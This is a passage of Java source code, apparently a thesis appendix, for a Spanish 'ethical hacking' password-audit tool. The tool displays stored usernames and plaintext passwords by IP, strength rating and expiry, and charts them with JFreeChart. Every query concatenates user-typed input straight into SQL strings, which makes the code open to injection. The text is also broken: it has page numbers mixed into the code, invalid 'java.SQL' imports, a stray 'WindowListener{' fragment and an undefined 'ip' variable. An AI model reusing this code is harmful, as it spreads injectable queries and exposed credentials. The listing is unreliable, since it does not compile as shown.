.add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 243, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(15, 15, 15) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonreportes, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonanálisis, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonacercade, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonsalir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonip, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap(19, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-729)/2, (screenSize.height-444)/2, 729, 444); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void botonipActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que
296
conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","--","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese el tipo de estado de los passwords (vigente-expirado)-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement();
297
String SQL = "select * from reporte where estado = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","----------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonacercadeActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte "; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3);
298
tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonestadisticasActionPerformed(java.awt.event.ActionEvent evt) { estadistica est = new estadistica(); est.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese el % de seguridad a ser buscado-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where seguridad = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5);
299
tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonanálisisActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la fecha a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where fecha = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close();
300
Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new reporte().setVisible(true); } }); } static String consulta_final=""; static int j=0; static int k=0; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton botonacercade; private javax.swing.JButton botonanálisis; private javax.swing.JButton botonestadisticas; private javax.swing.JButton botonip; private javax.swing.JButton botonreportes; private javax.swing.JButton botonsalir; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; private javax.swing.JTable tabla_resultados_passwd1; }
301
Estadisticas.java
import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; import org.jfree.ui.RefineryUtilities; public class estadistica extends javax.swing.JFrame { public estadistica() { System.gc(); initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); b_ip = new javax.swing.JButton(); b_vig_ip = new javax.swing.JButton(); b_todas_ip = new javax.swing.JButton(); b_todas_vig_ip = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); jLabel8 = new javax.swing.JLabel(); b_ip1 = new javax.swing.JButton(); b_todas_ip1 = new javax.swing.JButton(); b_todas_vig_ip1 = new javax.swing.JButton(); b_vig_ip1 = new javax.swing.JButton(); setTitle("ESTADISTICAS"); jLabel1.setFont(new java.awt.Font("SansSerif", 3, 18)); jLabel1.setForeground(new java.awt.Color(51, 0, 255)); jLabel1.setText("generacion de estadisticas del sistema"); b_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_ip.setText("Por IP"); b_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_ipActionPerformed(evt); } }); b_vig_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_vig_ip.setText("Por IP"); b_vig_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_vig_ipActionPerformed(evt); }
302
}); b_todas_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_ip.setText("Todas las IP"); b_todas_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_ipActionPerformed(evt); } }); b_todas_vig_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_vig_ip.setText("Todas las IP"); b_todas_vig_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_vig_ipActionPerformed(evt); } }); jLabel2.setText("Nivel de seguridad"); jLabel3.setText("Vigencia"); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel5.setText("Tipo barras:"); jLabel6.setText("Tipo barras:"); jLabel7.setText("Tipo pastel:"); jLabel8.setText("Tipo pastel:"); b_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_ip1.setText("Por IP"); b_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_ip1ActionPerformed(evt); } }); b_todas_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_ip1.setText("Todas las IP"); b_todas_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_ip1ActionPerformed(evt); } }); b_todas_vig_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_vig_ip1.setText("Todas las IP"); b_todas_vig_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_vig_ip1ActionPerformed(evt); }
303
}); b_vig_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_vig_ip1.setText("Por IP"); b_vig_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_vig_ip1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(org.jdesktop.layout.GroupLayout.LEADING, b_ip, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_ip)) .add(jLabel5) .add(jLabel7) .add(b_ip1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 137, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(b_todas_ip1)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel8) .add(jLabel6) .add(jLabel3) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_vig_ip1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_vig_ip1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_vig_ip, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_vig_ip))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING,
304
layout.createSequentialGroup() .addContainerGap(55, Short.MAX_VALUE) .add(jLabel1) .add(53, 53, 53)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .add(16, 16, 16) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel2) .add(jLabel3)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_vig_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_vig_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 94, Short.MAX_VALUE) .add(jLabel8) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_vig_ip1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_vig_ip1)) .add(layout.createSequentialGroup() .add(62, 62, 62) .add(b_todas_ip)) .add(layout.createSequentialGroup() .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 263, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(layout.createSequentialGroup() .add(b_ip) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 134, Short.MAX_VALUE) .add(jLabel7) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_ip1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(b_todas_ip1)))))
305
.add(25, 25, 25)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-532)/2, (screenSize.height-409)/2, 532, 409); }// </editor-fold> private void b_ip1ActionPerformed(java.awt.event.ActionEvent evt) { System.gc(); consulta_2 = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); pip = new crea_3d(consulta_2); pip.pack(); RefineryUtilities.centerFrameOnScreen(pip); pip.setVisible(true); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new estadistica().setVisible(true); } }); } static String consulta_1 =""; static String consulta_2 =""; static String consulta_3 =""; static String consulta_4 =""; crea_3d pip; crea_3d_todos pep; crea_3d_vig_ip pop; crea_3d_vig_ip_todos pap; bar_3d_ip rick; bar_3d_ip_todos rack; bar_3d_vig_ip rock; bar_3d_vig_ip_todos pup; private javax.swing.JButton b_ip; private javax.swing.JButton b_ip1; private javax.swing.JButton b_todas_ip; private javax.swing.JButton b_todas_ip1; private javax.swing.JButton b_todas_vig_ip; private javax.swing.JButton b_todas_vig_ip1; private javax.swing.JButton b_vig_ip; private javax.swing.JButton b_vig_ip1; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; }
306
Crea_3d.java
import java.awt.event.*; import java.util.EventObject; import javax.swing.*; import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; WindowListener{ public class crea_3d extends ApplicationFrame implements WindowListener{ public crea_3d(String ip_consulta) { super("ESTADISTICAS DE SEGURIDAD POR IP"); IP = ip_consulta; PieDataset dataset = createSampleDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ System.out.flush(); long time = System.nanoTime(); long time_estimado = System.nanoTime() - time; System.out.println( "Tiempo estamado--> " + String.valueOf(time)); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto'
307
and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (Exception e){ System.out.println("HA HABIDO UN ERROR ......"+e); } DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(PieDataset dataset) { JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD POR IP", // chart title dataset, // data true, // include legend true, false ); PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; }
308
public void windowIconified(WindowEvent windowevent) { } public void windowDeiconified(WindowEvent windowevent) { } public void windowActivated(WindowEvent windowevent) { } public void windowDeactivated(WindowEvent windowevent) { } public void windowOpened(WindowEvent windowevent) { } public void windowClosed(WindowEvent windowevent) { } public void windowClosing(WindowEvent windowevent) { hide(); dispose(); } static float suma =0; static float bajo =0; static float medio =0; static float alto =0; static String IP =""; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }
Crea_3d_todos.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_todos extends ApplicationFrame { public crea_3d_todos() { super("ESTADISTICAS DE SEGURIDAD DE IPS"); final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); }
309
private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' "; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()) { alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no as podido......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD TODAS LAS IP'S", // chart title dataset, // data
310
true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } static float bajo =0; static float medio =0; static float alto =0; static float y_bajo=0; static float y_medio=0; static float y_alto=0; }
Crea_3d_vig_ip.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_vig_ip extends ApplicationFrame { public crea_3d_vig_ip(String ip_final) { super("ESTADISTICAS DE VIGENCIA DE LOS PASSWORDS POR IP"); IP = ip_final; final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement();
311
Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' and direccion = '"+ip+"'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' and direccion = '"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } final DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % VIGENTES",y_bajo); result.setValue(String.valueOf(y_medio)+" % EXPIRADOS", y_medio); return result; } private JFreeChart createChart(final PieDataset dataset) { final JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE VIGENCIA DE LOS PASSWORDS POR IP", // chart title dataset, // data true, // include legend true, false ); final PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; } public static void main(final String[] args) { final crea_3d_vig_ip demo = new crea_3d_vig_ip(ip); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo);
312
demo.setVisible(true); } static float bajo =0; static float medio =0; static String IP =""; static float y_bajo=0; static float y_medio=0; }
Crea_3d_vig_ip_todos.java
import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.plot.PiePlot3D; import org.jfree.data.general.DefaultPieDataset; import org.jfree.data.general.PieDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; import org.jfree.util.Rotation; public class crea_3d_vig_ip_todos extends ApplicationFrame { public crea_3d_vig_ip_todos() { super("Estadisticas de vigencia de los passwords toda la red"); final PieDataset dataset = createSampleDataset(); final JFreeChart chart = createChart(dataset); final ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente'"; String SQL_2 = "select count(estado) from reporte where estado = 'expirado'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next())
313
